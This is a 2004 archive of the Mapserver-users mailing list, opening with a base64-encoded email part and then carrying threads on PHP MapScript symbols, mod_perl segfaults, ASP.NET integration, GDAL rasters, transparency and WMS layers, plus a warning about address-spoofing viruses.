cyB0aGVfZ2VvbSBmcm9tDQpncHNfdmVoaSBhY3Qgd2hlcmUgYWN0LnRpZW1wbyZndDs9JyRmcm9t X3RpbWUnIEFORCBhY3QudGllbXBvJmx0OyckdG9fdGltZScNCkFORCBhY3QuaWRfdmVoaT0kaWRf dmVoaSkgYXMgZm9vIHVzaW5nIHVuaXF1ZSBvaWQgdXNpbmcgc3JpZD0xIjsNCiRsYXllcj0kbWFw LSZndDtnZXRMYXllckJ5TmFtZSgic2VjdWVuY2lhX2dwcyIpOw0KJGxheWVyLSZndDtzZXQoImRh dGEiLCRkYXRhKTsNCg0KQmFzaWNhbGx5LCB3aGF0IHdlIGRvIGlzIGEgc3VicXVlcnkgdG8gY3Jl YXRlIGEgbXVsdGlsaW5lc3RyaW5nIGZyb20gYQ0KcG9pbnQgZ2VvbWV0cnkuDQoNCkhwZSB0aGF0 IGhlbHBzLA0KDQpWbGFkaW1pciBJbGljaCBHdXptqKJuIFIuDQotLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0NCjxBIGNsYXNzPW1vei10eHQtbGluay1mcmVldGV4dCBocmVmPSJodHRwOi8vbWFpbnRh c2suY29tIj5odHRwOi8vbWFpbnRhc2suY29tPC9BPiANCg0KDQoNCkZ1IENoZW4gd3JvdGU6DQoN CjwvRk9OVD48L1BSRT4NCiAgICA8QkxPQ0tRVU9URSB0eXBlPSJjaXRlIj48UFJFIHdyYXA9IiI+ PEZPTlQgZmFjZT0iSGVsdmV0aWNhLCBBcmlhbCwgc2Fucy1zZXJpZiI+SGkhDQpJIHRyeSB0byB1 c2UgbWFwc2VydmVyIGFuZCBwb3N0Z2lzIHRvIHJlY29yZCBhbmQgcmVuZGVyIHRoZSBzb21lIG1v YmlsZSB3b3JrZXIncyByb3V0ZS4NClRob3NlIHJvdXRlcyBhcmUgcmVjb3JkIGJ5IGEgZGF0YSB0 YWJsZSBsaWtlICh3b3Jrb3JJRCwgdGltZSwgcG9zaXRpb24pLg0KSW4gdGhlIHdlYmdpcyBpbnRl cmZhY2UsIHdlIHRyeSB0byBkcmF3IGEgcm91dGUgbWFwIGJ5IG1hcHNlcnZlci4NClF1ZXJpZWQg YnkgdGhlIHdvcmtvcidzIElELCB0aGUgcG9zaXRpb24gaXMgc29ydCBieSB0aGUgdGltZS4gdGhl biB0aGVzZSBwb2ludHMgaXMgbGlua2VkIHdpdGggYSBsaW5lLiBXZSB3b3VsZCBsaWtlIHRvIGRy YXcgYSBjaXJjbGUob3Igb3RoZXIgc3ltYm9sKSBvbiB0aGUga2V5IHBvaW50IGlmIGl0IGlzIHBv c3NpYmxlLg0KSSBkb24ndCBrbm93IGhvdyB0byB3cml0ZSBtYXAgZmlsZSBvciBtYXBzY3JpcHQg dG8gZ2V0IHRoZSBmZWF0dXJlLg0KQW55Ym9keSBjYW4gZ2l2ZSBtZSBzb21lIHN1Z2dlc3Rpb24/ DQpUaGFuayB5b3UhDQoNCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fDQpNYXBzZXJ2ZXItdXNlcnMgbWFpbGluZyBsaXN0DQo8QSBjbGFzcz1tb3otdHh0LWxp bmstYWJicmV2aWF0ZWQgaHJlZj0ibWFpbHRvOk1hcHNlcnZlci11c2Vyc0BsaXN0cy5naXMudW1u LmVkdSI+TWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51bW4uZWR1PC9BPg0KPEEgY2xhc3M9bW96 LXR4dC1saW5rLWZyZWV0ZXh0IGhyZWY9Imh0dHA6Ly9saXN0cy5naXMudW1uLmVkdS9tYWlsbWFu L2xpc3RpbmZvL21hcHNlcnZlci11c2VycyI+aHR0cDovL2xpc3RzLmdpcy51bW4uZWR1L21haWxt YW4vbGlzdGluZm8vbWFwc2VydmVyLXVzZXJzPC9BPg0KDQoNCiANCg0KPC9GT05UPjwvUFJFPjwv QkxPQ0tRVU9URT48UFJFIHdyYXA9IiI+PCEtLS0tPjxGT05UIGZhY2U9IkhlbHZldGljYSwgQXJp YWwsIHNhbnMtc2VyaWYiPg0KX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX18NCk1hcHNlcnZlci11c2VycyBtYWlsaW5nIGxpc3QNCjxBIGNsYXNzPW1vei10eHQt bGluay1hYmJyZXZpYXRlZCBocmVmPSJtYWlsdG86TWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51 bW4uZWR1Ij5NYXBzZXJ2ZXItdXNlcnNAbGlzdHMuZ2lzLnVtbi5lZHU8L0E+DQo8QSBjbGFzcz1t b3otdHh0LWxpbmstZnJlZXRleHQgaHJlZj0iaHR0cDovL2xpc3RzLmdpcy51bW4uZWR1L21haWxt YW4vbGlzdGluZm8vbWFwc2VydmVyLXVzZXJzIj5odHRwOi8vbGlzdHMuZ2lzLnVtbi5lZHUvbWFp bG1hbi9saXN0aW5mby9tYXBzZXJ2ZXItdXNlcnM8L0E+DQoNCl9fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fDQpNYXBzZXJ2ZXItdXNlcnMgbWFpbGluZyBsaXN0 DQo8QSBjbGFzcz1tb3otdHh0LWxpbmstYWJicmV2aWF0ZWQgaHJlZj0ibWFpbHRvOk1hcHNlcnZl ci11c2Vyc0BsaXN0cy5naXMudW1uLmVkdSI+TWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51bW4u ZWR1PC9BPg0KPEEgY2xhc3M9bW96LXR4dC1saW5rLWZyZWV0ZXh0IGhyZWY9Imh0dHA6Ly9saXN0 cy5naXMudW1uLmVkdS9tYWlsbWFuL2xpc3RpbmZvL21hcHNlcnZlci11c2VycyI+aHR0cDovL2xp c3RzLmdpcy51bW4uZWR1L21haWxtYW4vbGlzdGluZm8vbWFwc2VydmVyLXVzZXJzPC9BPg0KDQo8 L0ZPTlQ+PC9QUkU+PC9CTE9DS1FVT1RFPjxCUj48L0JMT0NLUVVPVEU+PC9CT0RZPjwvSFRNTD4N Cg== ------=_NextPart_000_004F_01C45312.B5E1D710-- From aborruso at tin.it Tue Jun 15 05:21:36 2004 From: aborruso at tin.it (andy) Date: Tue, 15 Jun 2004 14:21:36 +0200 Subject: [Mapserver-users] arrow at end of line In-Reply-To: <40CE9319.9020202@spiekermann.de> References: <40CE9319.9020202@spiekermann.de> Message-ID: <40CEE9D0.6070702@tin.it> Hello Manfred, I'm also interested in it. Please kake me know if you find a solution. Thank you, Andrea Manfred Meier wrote: > Hello list, > > I've read in the mail archives something about arrow symbols in the > middle of a line using truetype or not. > > I want to draw lines with an arrow at the end: ----> or <---->. Are > there any predefined line symbols for this or have I to use the same > mechanism as above with truetype point symbols put on the line? > > Thank you > Manfred > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bartvde at xs4all.nl Tue Jun 15 05:23:44 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 15 Jun 2004 14:23:44 +0200 Subject: [Mapserver-users] Opacity parameter in raster sld In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366FAA@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366FAA@ecnwri1.ontario.int.ec.gc.ca> Message-ID: Hi Assefa, thanks for the quick action taken. Another question next to Tom's question: Will this work if I use this on an existing raster layer without a ColorMap in the SLD? I just want to change the opacity, not classify the raster. Best regards, Bart On Mon, 14 Jun 2004 14:07:31 -0400, Kralidis,Tom [Burlington] wrote: > > >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >> Yewondwossen Assefa >> Sent: Monday, June 14, 2004 1:36 PM >> To: Bart van den Eijnden >> Cc: Mapserver-users >> Subject: [Mapserver-users] Opacity parameter in raster sld >> >> >> Hi There, >> >> I just added the support for the opacity parameter in sld >> raster that >> we discussed last week. Here is an example sld : >> >> >> 1.0 >> >> >> ... >> > > So this means that if someone provides their own SLD with the Opacity > element, MapServer will work with this accordingly? > > Will this work the other way around, i.e. responding to a GetStyles? > > Thanks > > ..Tom > > >> Values in the sld go from 0.0 (for transparent) to 1.0 (for opaque). >> >> Later, >> >> -- >> ---------------------------------------------------------------- >> Assefa Yewondwossen >> Software Analyst >> >> Email: assefa at dmsolutions.ca >> http://www.dmsolutions.ca/ >> >> Phone: (613) 565-5056 (ext 14) >> Fax: (613) 565-0925 >> ---------------------------------------------------------------- >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From norbert.thieme at ilmenau.baw.de Tue Jun 15 05:31:34 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 15 Jun 2004 14:31:34 +0200 Subject: [Mapserver-users] point shape layer style and dynamic point data query In-Reply-To: <1087284501.40cea51546946@webmail.esm2.imt-mrs.fr> References: <1087284501.40cea51546946@webmail.esm2.imt-mrs.fr> Message-ID: <40CEEC26.70506@ilmenau.baw.de> S?bastien DUBOIS schrieb: > well i try to display a shape file put in a database postgresql with > shp2pgsql..... > > i suceed in, but i don't understand how to change the style of the output. > yet the points of my database layer can be displayed by their position in text > POINT (X,Y) with $label->set("position",MS_CC); > But if i don't put this line my points are only dispayed by one pixel. > i can't change the size or put a symbol like a star!! > > > this is one part of the code i use > > ------------------------- > $map = ms_newMapObj($Nom_Mapfile); > > $map->setextent($xmin,$ymin,$xmax,$ymax); > > $map->web->set("imagepath",$mapserver_imagepath); > > $map->web->set("imageurl",$mapserver_imageurl); > > $map->set("width",$longueur_image_mapfile); > > $map->set("height",$hauteur_image_mapfile); > > > $layer = ms_newLayerObj($map); > > > $layer->set("name",$base_de_donnees); > > $layer->set("status",MS_DEFAULT); > > $layer->set("connectiontype",MS_POSTGIS); > > $layer->set("connection","user=".$utilisateur." > dbname=".$base_de_donnees." host=".$hote); > > $layer->set("data",$colonne_geometrique." from ".$table_choisie." as > foo > using unique geometry_columns.srid using SRID=-1"); > > > $layer->set("type",$type_donnee_geometrique_pour_mapserver); > > > $layer->set("labelitem",$mapserver_labelitem); > > $class = ms_newClassObj($layer); > > $label = $class->label; > > $label->set("position",MS_CC); > > $label->color->setRGB(0,0,0); > > $label->outlinecolor->setRGB(255,0,0); > > $label->shadowcolor->setRGB(255,255,255); > > $label->backgroundcolor->setRGB(0,0,255); > > $label->backgroundshadowcolor->setRGB(255,255,255); > > > > $style = ms_newStyleObj($class); > > > $style->set("size",4); > > $style->outlinecolor->setRGB(128,0,0); > > > $image = $map->draw(); > > $image_url = $image->saveWebImage(MS_PNG,1,1,0); > > ---------------------- > > > I try also to put a symbol in my .map and define the layer as i used to without > phpmapscript but i doesn't work. > > Is there someone who can explain me how to proceed. > how create $symbole in phpmapscript. > Perhaps i need to create a point object?? > > thanks in advance > > > OTHER QUESTION is there someone here who suceed in writing a dynamic point data > query in phpmapscript? i saw old post but no example of drawing a box without > jbox and change the color of the point selected and then display the attributes > of the selected points.... > > > > > > Hi. I also have such a problem with the size item of the styleobj. I created a symbol 'circle' (like in the mapfile reference) and add it to my 'template' mapfile (containing the stuff I often use). When I add my point layer to this map and apply it to my new style with a specific size then my points are displayed the right size. The way I see in mapscript is to create a symbolsetfile (texteditor?) and set the symbols to the mapobj from this file. In the normal mapfile you can have the symbols and the symbolsetfile under the mapobj but in the mapscript mapobj you only can have the symbolsetfile. Perhaps there is another way with SLD but I never worked with that yet. Regards, Norbert From eric at gomoos.org Tue Jun 15 06:03:18 2004 From: eric at gomoos.org (Eric Bridger) Date: 15 Jun 2004 09:03:18 -0400 Subject: [Mapserver-users] mod_perl segfaults In-Reply-To: References: <20040614193043.GM658@ert.dyndns.org> Message-ID: <1087304603.11600.32.camel@ubet.gomoos.org> On Mon, 2004-06-14 at 21:45, Sean Gillies wrote: > On Jun 14, 2004, at 1:30 PM, covad at ert.dyndns.org wrote: > > > I'm getting errors like the following: > > > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > Segmentation fault (11) > > > > in my apache error log, but only intermittently. The site is usable, > > but > > craps out ~25% of the time. > > > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > > > Has anyone else seen behavior like this? > > > > Would rolling back to mapscript 4.0 help? > > > > Thanks, > > > > -rob > > > > Rob, > > I don't have specific mod_perl experience but am using mod_python and > mapscript > in production. There's a few differences between them but I might be > able to help > you a bit. I am using Apache 2.0.40-something. > > Are you trying to keep a mapObj as an application global by executing > code like > > $map = mapscript::mapObj('file.map'); > > in the startup script? If you do, you have to be very careful that you > don't have > different requests trying to access and modify this same mapObj. The > best thing > to do would be to create a pool of mapObj instances and fetch one from > the pool > to satisfy requests, or clone the master mapObj for every request. Or > create a > new instance from a file on disk for every request. > For what it's worth, we are running Apache 1.3.28, mod_perl 1.28, mapscript 4.2.0 on FreeBSD 4.8 and have not seen any seg faults. But we are not trying to use global map objects. Eric From Jwiebe at linnet.ca Tue Jun 15 06:14:48 2004 From: Jwiebe at linnet.ca (Jeremy Wiebe) Date: Tue, 15 Jun 2004 08:14:48 -0500 Subject: [Mapserver-users] MapServer and ASP.Net Message-ID: <3CA510AEAB8DD411B66B0090273FA099041B0FD4@LINNET_SRV_10> Hi there, First time posting. My company is in the process of building an ASP.NET-based app with mapserver. So far it is working just great! We have an aspx page that sits in front of the mapserver and translates the incoming requests into mapserver-specific requests. The aspx page then returns the mapserver-generated image to the client (or the error XML if an error occurs). Jeremy Wiebe Application Developer Linnet - The Land Systems Company -----Original Message----- From: Ross Smith [mailto:r0ss at shaw.ca] Sent: June 14, 2004 11:36 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] MapServer and ASP.Net Hi everyone, I hate to post this message again, but I am hopeful that now that the MUM2 is over the MapServer Gurus will be able to assist me. Can ASP.Net be used to design websites and communicate with the MapServer cgi exe? Any assistance would be useful, we are an ASP shop looking to move into the MapServer world and we would like to leverage our ASP knowledge. If one can use ASP what are some of the pitfalls that we may face - i.e.. Writing our own wrappers and the maintenance of them could be a bit of a challenge. I searched the archives because I assume this question has been asked a lot but I could not locate any conclusive answers. Thanks in advance, I will summarize the responses for everyone. Ross _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich at greenwoodmap.com Tue Jun 15 06:13:17 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Tue, 15 Jun 2004 07:13:17 -0600 Subject: [Mapserver-users] MapServer and ASP.Net In-Reply-To: <0HZC0063624FEM@l-daemon> References: <0HZC0063624FEM@l-daemon> Message-ID: <40CEF5ED.6040902@greenwoodmap.com> Ross Smith wrote: > Hi everyone, > > I hate to post this message again, but I am hopeful that now that the MUM2 > is over the MapServer Gurus will be able to assist me. > > > Can ASP.Net be used to design websites and communicate with the MapServer > cgi exe? Any assistance would be useful, we are an ASP shop looking to move > into the MapServer world and we would like to leverage our ASP knowledge. > If one can use ASP what are some of the pitfalls that we may face - i.e.. > Writing our own wrappers and the maintenance of them could be a bit of a > challenge. > > > I searched the archives because I assume this question has been asked a lot > but I could not locate any conclusive answers. > > > Thanks in advance, I will summarize the responses for everyone. > > Ross Depending on your needs, you may be able to simply use mapserv cgi for pages that require a map, and use ASP for your other pages (e.g. pages that access a relational database). This is what I do. I have also used aspexec from http://www.serverobjects.com/products.htm which allows ASP to execute mapserv.exe And a similar approach is discussed at: http://mapserver.gis.umn.edu/doc40/wms-server-howto.html#onlineresourceurl If you search the archives, Ed McNierney has some nice examples of using asp. You can use Google to search with syntax like: site:gis.umn.edu ASP Ed McNierney Regards, -- Richard Greenwood www.greenwoodmap.com From eric at gomoos.org Tue Jun 15 06:11:52 2004 From: eric at gomoos.org (Eric Bridger) Date: 15 Jun 2004 09:11:52 -0400 Subject: [Mapserver-users] Building a legend - with class objects in layers In-Reply-To: References: Message-ID: <1087305119.11598.36.camel@ubet.gomoos.org> On Tue, 2004-06-15 at 04:42, Richard Orchard wrote: > hi, > > I am using mapserver to display some geology datasets. > > A particular layer has multiple classes in order to show the various > features (different rock types). The features are color-coded, therefore, i > need each feature (class) to display in the legend. > > However, when the legend is generated, it just creates one item, based on > the layer name. it doesn't iterate through the various class objects. > > Is this the way it is supposed to work? Yes. Or is there a way to get it to > create a legend item for each class item within a layer. At present i am > creating new layer objects for each item i want to display. I have put the > map file i am using at the bottom of this email. > The map file you sent has only one class per layer. Perhaps you should send the map file which is not working as you expect. Each CLASS must have a NAME for it to show up in the legend. From nicolas.fortin at ec.gc.ca Tue Jun 15 06:59:30 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Tue, 15 Jun 2004 09:59:30 -0400 Subject: [Mapserver-users] Mapserver 4.2 with Oracle !??? Message-ID: <118A9CF846431048B65C4AFB0E57C0ED03733D@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Hi list, I wonder if someone already have compiled mapserver 4.2 with oracle spatial support like ms402_gif_oracle.zip for windows? If the answer is yes, where will it be available on the mapserver site? Thx, Nicolas Fortin From tburton at holonics.ca Tue Jun 15 07:02:15 2004 From: tburton at holonics.ca (Trent Burton) Date: Tue, 15 Jun 2004 10:02:15 -0400 Subject: [Mapserver-users] GDAL - How do I know if Mapserver is picking this up? Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C452E1.5D3B20E2 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I cannot seem to be able to view any rasters through Mapserver. I have downloaded Openev, and it seems to be installed properly. Does GDAL have to be configured in some way with Mapserver? How is this done? How can I verify that my Mapserver is able to show rasters? My mapserv -v shows INPUT=3DGDAL. =20 Thanks, =20 Trent ------_=_NextPart_001_01C452E1.5D3B20E2 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
I = cannot seem to be=20 able to view any rasters through Mapserver.  I have downloaded = Openev, and=20 it seems to be installed properly.  Does GDAL have to be configured = in some=20 way with Mapserver?  How is this done?  How can I verify that = my=20 Mapserver is able to show rasters?  My mapserv -v shows=20 INPUT=3DGDAL.
 
Thanks,
 
Trent
=00 ------_=_NextPart_001_01C452E1.5D3B20E2-- From sgillies at frii.com Tue Jun 15 07:28:59 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 15 Jun 2004 08:28:59 -0600 Subject: [Mapserver-users] Mapserver 4.2 and transparent symbols In-Reply-To: References: Message-ID: <5726B210-BED8-11D8-B548-000D9329D732@frii.com> On Jun 15, 2004, at 1:39 AM, Lars-goran Edholm wrote: > Hi! > With Mapserver 4 i don't get transparent symbols and scalebar anymore. > Below is a partm of my map-file and symbol definition. > With Mapserver 3 I got scalebar and diagonal patterns transparent to > underlying layer. What's wrong? > > In version 3 the only output mode was 256 colors. In version 4, transparency does work for IMAGEMODE PC256. However, transparency for RGBA has not yet been addressed. It is significant work that no developer is ready to take on without funding. Sean From nacional at cbs.umn.edu Tue Jun 15 07:37:44 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Tue, 15 Jun 2004 09:37:44 -0500 Subject: [Mapserver-users] Mapserver 4.2 with Oracle !??? In-Reply-To: <118A9CF846431048B65C4AFB0E57C0ED03733D@ECQCSTFMAIL1.quebec.int.ec.gc.ca> References: <118A9CF846431048B65C4AFB0E57C0ED03733D@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Message-ID: <1087310263.12740.30.camel@localhost> Nicolas, I'm in the process of compiling MapServer 4.2 for windows and will include oracle spatial support. It's taking a bit longer as I'm also compiling new versions of other libraries. It should be available in the MapServer website sometime tomorrow. I don't know if there's a version in maptools.org with oracle spatial support but you can check at http://www.maptools.org. Cheers! -Perry N. On Tue, 2004-06-15 at 08:59, Fortin,Nicolas [SteFoy] wrote: > Hi list, > > I wonder if someone already have compiled mapserver 4.2 with oracle > spatial support like ms402_gif_oracle.zip for windows? > If the answer is yes, where will it be available on the mapserver site? > > Thx, > > Nicolas Fortin > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Pericles S. Nacionales University of Minnesota From mike.merrett at city.whitehorse.yk.ca Tue Jun 15 09:11:53 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 15 Jun 2004 09:11:53 -0700 Subject: [Mapserver-users] using mapserver with mysql and gis support Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF3B@DUKE.city.whitehorse.yk.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C452F3.64907B9C Content-Type: text/plain; charset="iso-8859-1" Try http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MySQL it seems to be a beta version but who knows Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of fx gamoy Sent: June 14, 2004 11:35 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] using mapserver with mysql and gis support hello world, is it a way to use spatial data stored in a mysql database with GIS support (like with postgres/postGIS)? thanks fx ------_=_NextPart_001_01C452F3.64907B9C Content-Type: text/html; charset="iso-8859-1"
Try
 
it seems to be a beta version but who knows
 
Mike Merrett
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of fx gamoy
Sent: June 14, 2004 11:35 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] using mapserver with mysql and gis support

hello world,
is it a way to use spatial data stored in a mysql database with GIS support (like with postgres/postGIS)?
thanks
fx
------_=_NextPart_001_01C452F3.64907B9C-- From tjmitchell at riverside.bc.ca Tue Jun 15 09:29:32 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 15 Jun 2004 09:29:32 -0700 Subject: [Mapserver-users] SWIG mapscript workshop materials In-Reply-To: <2AA88629-BDAE-11D8-AF6F-000D9329D732@frii.com> Message-ID: Cool workshop Sean - far enough over my head to keep me from feeling complacent :) The examples were very good examples and quite powerful embodies of the capabilities of mapscript. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 06/13/2004 07:54:34 PM: > The workshop materials including slideshow are available from > > http://users.frii.com/sgillies/projects/mum04/workshop.html > > If you need any help getting it started or getting the additional > software required for a Linux setup do not hesitate to email me. > > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jeramie at Idghelp.us Tue Jun 15 09:31:11 2004 From: jeramie at Idghelp.us (Jeramie Gatchell) Date: Tue, 15 Jun 2004 09:31:11 -0700 Subject: [Mapserver-users] whats needed for the map itself Message-ID: <200406151631.i5FGVfFS026437@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0035_01C452BB.859D5860 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi everyone, I apologize in advance for this very newbie question. I have been looking through the documentation trying to figure out what mapserver needs to lets just say, generate a map of California.. if anyone wouldn't mind giving me a hand I would really appreciate it. Please keep in mind this is my first mapping project and I'm not up on all the acronyms (I don't mind looking them up =] ) Thanks a lot, Jeramie ------=_NextPart_000_0035_01C452BB.859D5860 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable ates\Normal.dot

Hi everyone,

 

I apologize in advance for this very newbie = question.  I have been looking through the documentation trying to figure out what = mapserver needs to lets just say, generate a map of California.. if anyone = wouldn’t mind giving me a hand I would really appreciate it.  Please keep in mind = this is my first mapping project and I’m not up on all the acronyms (I = don’t mind looking them up =3D] )

 

Thanks a lot,

 

Jeramie

 

------=_NextPart_000_0035_01C452BB.859D5860-- From warmerdam at pobox.com Tue Jun 15 09:30:23 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 15 Jun 2004 12:30:23 -0400 Subject: [Mapserver-users] GDAL - How do I know if Mapserver is picking this up? In-Reply-To: References: Message-ID: <40CF241F.3050800@pobox.com> Trent Burton wrote: > I cannot seem to be able to view any rasters through Mapserver. I have > downloaded Openev, and it seems to be installed properly. Does GDAL > have to be configured in some way with Mapserver? How is this done? > How can I verify that my Mapserver is able to show rasters? My mapserv > -v shows INPUT=GDAL. Trent, If you see INPUT=GDAL and you are getting as far as mapserv -v working then you are picking up "a" GDAL. Not necessarily the one you expect. I normally use ldd on linux or "depends.exe" on windows to determine what shared library or DLL is actually getting used though it is hard to know what is happening in the different environment when run under the web server. The other issue is whether mapserver is using it's built-in GDAL support or some other internal raster driver for a particular file. If you also have INPUT=TIFF and you are working with a TIFF file then you may run into problems. I believe MapServer 4.2 will only use the built-in TIFF driver if there is no GDAL support available. Older MapServers use other rules. Does shp2img work? Have you tried enabling all the debugging you can? I would encourage you to review the "DebugginMapServer" topic: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From tjmitchell at riverside.bc.ca Tue Jun 15 09:37:59 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 15 Jun 2004 09:37:59 -0700 Subject: [Mapserver-users] Viruses on the list Message-ID: I did a quick check on the mailing list archives while I was away last week and, lo and behold, I found an email from myself on the list! What? I didn't write anything. Looking at the email I realized that it APPEARED to be from me but really wasn't. Someone who is subscribed to the list is probably infected with a virus and the virus is sending email spoofing other peoples' email address as the source/reply-to address. I know of others who are having this happen to their addresses too. The moral of the story - we really are not putting virus-infected messages up on the list for your viewing pleasure :) As a rule of thumb, most of us never send attachments to the list, so even if you trust us (yeah right) don't open our attachments without contacting us directly to confirm. I hope UMN can come up with a virus filtering solution!! Tyler From rich at greenwoodmap.com Tue Jun 15 09:39:43 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Tue, 15 Jun 2004 10:39:43 -0600 Subject: [Mapserver-users] WMS raster layer problem In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366FB3@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366FB3@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40CF264F.5060506@greenwoodmap.com> I finally got it working by changing my OUTPUT DRIVER from "GDAL/PNG" to "GD/PNG". Same problems with gif: GD works, GDAL does not. Is this a know problem, or do I have a defective GDAL setup? And why do the GDAL output drivers work correctly with mapserver CGI requests, but not with WMS requests? Thanks, Rich Kralidis,Tom [Burlington] wrote: > Do you have a URL for the WMS in question? > > Try STATUS ON in the LAYER object. > > ..Tom > > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>Richard Greenwood >>Sent: Monday, June 14, 2004 6:46 PM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] WMS raster layer problem >> >> >>I am having problems displaying raster layers via WMS. I have >>the vectors working correctly. And my raster layers work fine >>in "regular" mapserver. >> >>With MS 4.0 and 4.1 the raster layers simply does not >>display. But with >>MS 4.2-beta3 I get an error message: "Invalid layer(s) given in the >>LAYERS parameter." >> >>-- >>Richard Greenwood >>www.greenwoodmap.com -- Richard Greenwood www.greenwoodmap.com From warmerdam at pobox.com Tue Jun 15 09:41:15 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 15 Jun 2004 12:41:15 -0400 Subject: [Mapserver-users] Mapserver 4.2 and transparent symbols In-Reply-To: <5726B210-BED8-11D8-B548-000D9329D732@frii.com> References: <5726B210-BED8-11D8-B548-000D9329D732@frii.com> Message-ID: <40CF26AB.4020704@pobox.com> Sean Gillies wrote: > On Jun 15, 2004, at 1:39 AM, Lars-goran Edholm wrote: > >> Hi! >> With Mapserver 4 i don't get transparent symbols and scalebar anymore. >> Below is a partm of my map-file and symbol definition. >> With Mapserver 3 I got scalebar and diagonal patterns transparent to >> underlying layer. What's wrong? >> >> > > In version 3 the only output mode was 256 colors. In version 4, > transparency > does work for IMAGEMODE PC256. However, transparency for RGBA has not yet > been addressed. It is significant work that no developer is ready to take > on without funding. Lars, If you can provide a very simple bug report to reproduce the bug I will look into resolving. I feel bad about botching some aspects of the OUTPUTFORMAT upgrade. However, in general Sean is correct that funding helps motivate new features. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Tue Jun 15 09:44:01 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 15 Jun 2004 12:44:01 -0400 Subject: [Mapserver-users] colored tiff forced to greyscale In-Reply-To: <1087285374.40cea87e43e4a@imp6-q.free.fr> References: <1087285374.40cea87e43e4a@imp6-q.free.fr> Message-ID: <40CF2751.4090402@pobox.com> pierre.giraud3 at free.fr wrote: > hello list, > > Didn't find any post answering my problem, probably didn't choose the suitable > keywords. > > Is there any way to force mapserver to draw a 8-bit (or 24-bits) raster layer > in greyscale ? Pierre, In fact, no there is no way of declaring a request in the mapfile that a given raster should ignore it's color table. When I run into this I normally reprocess the file to have no color table. This could be accomplished by converting to a color-table free format 